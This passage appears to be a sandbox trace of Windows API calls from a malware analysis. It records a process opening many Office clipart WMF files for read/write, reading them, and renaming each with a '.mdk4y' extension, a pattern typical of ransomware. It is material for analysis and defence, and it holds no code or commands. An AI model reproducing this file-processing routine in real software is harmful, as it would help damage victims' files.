Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.mdk4y")) returned 1 [0152.417] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.417] AreFileApisANSI () returned 1 [0152.417] GetACP () returned 0x4e4 [0152.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152708.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152708.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.417] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822764700000) returned 1 [0152.417] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x132c, lpOverlapped=0x0) returned 1 [0152.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822764900000) returned 1 [0152.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822764900000) returned 1 [0152.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.mdk4y")) returned 1 [0152.420] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.420] AreFileApisANSI () returned 1 [0152.420] GetACP () returned 0x4e4 [0152.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152716.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152716.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.420] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822765300000) returned 1 [0152.423] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11e4, lpOverlapped=0x0) returned 1 [0152.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822766900000) returned 1 [0152.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822766900000) returned 1 [0152.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.mdk4y")) returned 1 [0152.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.444] AreFileApisANSI () returned 1 [0152.444] GetACP () returned 0x4e4 [0152.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152722.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152722.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.444] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822767500000) returned 1 [0152.445] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b6c, lpOverlapped=0x0) returned 1 [0152.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822771700000) returned 1 [0152.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822771700000) returned 1 [0152.488] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.mdk4y")) returned 1 [0152.489] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.489] AreFileApisANSI () returned 1 [0152.489] GetACP () returned 0x4e4 [0152.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152876.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152876.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.489] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822772100000) returned 1 [0152.492] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ec4, lpOverlapped=0x0) returned 1 [0152.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822780800000) returned 1 [0152.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822781100000) returned 1 [0152.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.mdk4y")) returned 1 [0152.584] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.584] AreFileApisANSI () returned 1 [0152.584] GetACP () returned 0x4e4 [0152.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152878.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152878.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822781400000) returned 1 [0152.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a28, lpOverlapped=0x0) returned 1 [0152.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822781600000) returned 1 [0152.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822781600000) returned 1 [0152.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.mdk4y")) returned 1 [0152.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.587] AreFileApisANSI () returned 1 [0152.587] GetACP () returned 0x4e4 [0152.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152882.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152882.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822781800000) returned 1 [0152.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2370, lpOverlapped=0x0) returned 1 [0152.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822782100000) returned 1 [0152.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822782100000) returned 1 [0152.592] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.mdk4y")) returned 1 [0152.592] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.592] AreFileApisANSI () returned 1 [0152.593] GetACP () returned 0x4e4 [0152.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152884.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152884.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.593] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822782300000) returned 1 [0152.593] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b2c, lpOverlapped=0x0) returned 1 [0152.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822783400000) returned 1 [0152.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822783400000) returned 1 [0152.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.mdk4y")) returned 1 [0152.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.606] AreFileApisANSI () returned 1 [0152.606] GetACP () returned 0x4e4 [0152.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152890.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152890.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822783800000) returned 1 [0152.608] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x794, lpOverlapped=0x0) returned 1 [0152.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822783900000) returned 1 [0152.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822783900000) returned 1 [0152.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.mdk4y")) returned 1 [0152.610] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.610] AreFileApisANSI () returned 1 [0152.610] GetACP () returned 0x4e4 [0152.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152892.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152892.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.610] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822784100000) returned 1 [0152.611] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29ac, lpOverlapped=0x0) returned 1 [0152.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822785100000) returned 1 [0152.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822785100000) returned 1 [0152.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.mdk4y")) returned 1 [0152.622] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.622] AreFileApisANSI () returned 1 [0152.622] GetACP () returned 0x4e4 [0152.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152894.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152894.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822785300000) returned 1 [0152.623] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c54, lpOverlapped=0x0) returned 1 [0152.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822786000000) returned 1 [0152.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822786000000) returned 1 [0152.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.mdk4y")) returned 1 [0152.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.632] AreFileApisANSI () returned 1 [0152.632] GetACP () returned 0x4e4 [0152.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152898.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152898.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.632] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822786200000) returned 1 [0152.632] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1190, lpOverlapped=0x0) returned 1 [0152.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822788100000) returned 1 [0152.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822788100000) returned 1 [0152.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.mdk4y")) returned 1 [0152.652] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.652] AreFileApisANSI () returned 1 [0152.652] GetACP () returned 0x4e4 [0152.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153047.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153047.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822788300000) returned 1 [0152.653] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x812c, lpOverlapped=0x0) returned 1 [0152.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789300000) returned 1 [0152.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789300000) returned 1 [0152.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.mdk4y")) returned 1 [0152.664] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.664] AreFileApisANSI () returned 1 [0152.664] GetACP () returned 0x4e4 [0152.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153087.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153087.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789500000) returned 1 [0152.665] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x778, lpOverlapped=0x0) returned 1 [0152.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789600000) returned 1 [0152.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789600000) returned 1 [0152.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.mdk4y")) returned 1 [0152.667] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.667] AreFileApisANSI () returned 1 [0152.667] GetACP () returned 0x4e4 [0152.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0153089.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0153089.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.667] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822789700000) returned 1 [0152.667] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ea8, lpOverlapped=0x0) returned 1 [0152.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822792600000) returned 1 [0152.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822792600000) returned 1 [0152.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.mdk4y")) returned 1 [0152.697] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.697] AreFileApisANSI () returned 1 [0152.697] GetACP () returned 0x4e4 